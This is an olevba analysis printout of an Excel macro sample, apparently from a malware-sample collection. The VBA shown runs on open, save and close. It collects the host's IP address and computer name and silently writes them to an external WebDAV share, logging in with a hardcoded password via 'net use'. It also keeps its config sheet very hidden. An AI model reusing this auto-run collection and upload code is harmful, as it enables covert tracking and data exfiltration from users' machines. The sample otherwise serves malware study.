VBA webdav sample

0b078a49fad7a677e1f0f2be108c0cb301506a99fb04ea4bf94643888b1984c7

## Uploaded by @JohnLaTwC
## Sample hash 0b078a49fad7a677e1f0f2be108c0cb301506a99fb04ea4bf94643888b1984c7
olevba3 0.53.1 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OpX:MAS-HB-- 0b078a49fad7a677e1f0f2be108c0cb301506a99fb04ea4bf94643888b1984c7
===============================================================================
FILE: 0b078a49fad7a677e1f0f2be108c0cb301506a99fb04ea4bf94643888b1984c7
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Workbook_BeforeClose(Cancel As Boolean)
C_dir
If CP = "E-JUK" Then Exit Sub
If Sheets("set").Range("A3") = CP Then Exit Sub
Up
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
C_dir
If CP = "E-JUK" Then Exit Sub
On Error Resume Next
Sheets("set").Visible = xlVeryHidden
If Sheets("set").Range("A3") <> "" Then Exit Sub
AD
Sheets("set").Range("A2") = IP
Sheets("set").Range("A3") = CP
Login
If Dir(CD, vbDirectory) = "" Then MkDir CD
Logout
End Sub
Private Sub Workbook_Open()
On Error Resume Next
Sheets("set").Range("A1") = "log_" & Left(ActiveWorkbook.Name, Len(ActiveWorkbook.Name) - 5)
Dn
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
Cancel = True
Dn
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet3.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
'============================================================
'     e-Library log
'                                      2018.6.20 ejuk
'============================================================
'
Public FD As String, CD As String, CP As String, TL As String
Public IP As String, Fn As String, DT As String
Public I As Long
Option Private Module
Sub AD()
 Dim NetAdapters, objNic, strIPAddress
    Set NetAdapters = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") _
        .ExecQuery("Select * from Win32_NetworkAdapterConfiguration " & _
        "Where (IPEnabled = TRUE)")
    For Each objNic In NetAdapters
    For Each strIPAddress In objNic.IPAddress
        IP = strIPAddress
    Exit For
    Next
        Exit For
    Next
End Sub
Sub C_dir()

FD = "\\ejuk.drivee.jp@SSL\DavWWWRoot\e-Library\data"
TL = Sheets("set").Range("A1")
CD = FD & "\" & Sheets("set").Range("A2")
Fn = CD & "\" & Sheets("set").Range("A1") & ".csv"
CP = Environ("COMPUTERNAME")
End Sub
Sub Login()
C_dir
Application.Wait Now + TimeValue("00:00:01")
Shell ("net use " & FD & " sj38tp /user:e-Library")  ' & " /savecred:yes")
Application.Wait Now + TimeValue("00:00:01")
End Sub
Sub Logout()
C_dir
Application.Wait Now + TimeValue("00:00:01")
Shell ("net use " & FD & " /delete /Y")   ' & " /savecred:yes")
Shell ("net use \\ejuk.drivee.jp@SSL\DavWWWRoot /delete /Y")   ' & " /savecred:yes")
Application.Wait Now + TimeValue("00:00:01")
End Sub
Sub set_open()
Sheets("set").Visible = True
End Sub
Sub set_close()
Sheets("set").Visible = xlVeryHidden
End Sub
Sub Up()
Login
If TL = "log_log" Or Sheets("set").Range("A2") = "" Then Exit Sub
On Error Resume Next
DT = Date
Open Fn For Append As #2
Write #2, DT, CP
Close #2
Logout
End Sub
Sub Dn()
Application.ScreenUpdating = False
On Error Resume Next
Dim D(1) As String
Login
If Dir(Fn) = "" Then Exit Sub
I = 0
Open Fn For Input As #1
Do Until EOF(1)
Input #1, D(0), D(1)
I = I + 1
Loop
Close #1
Sheets(1).Range("A1") = I
Logout
End Sub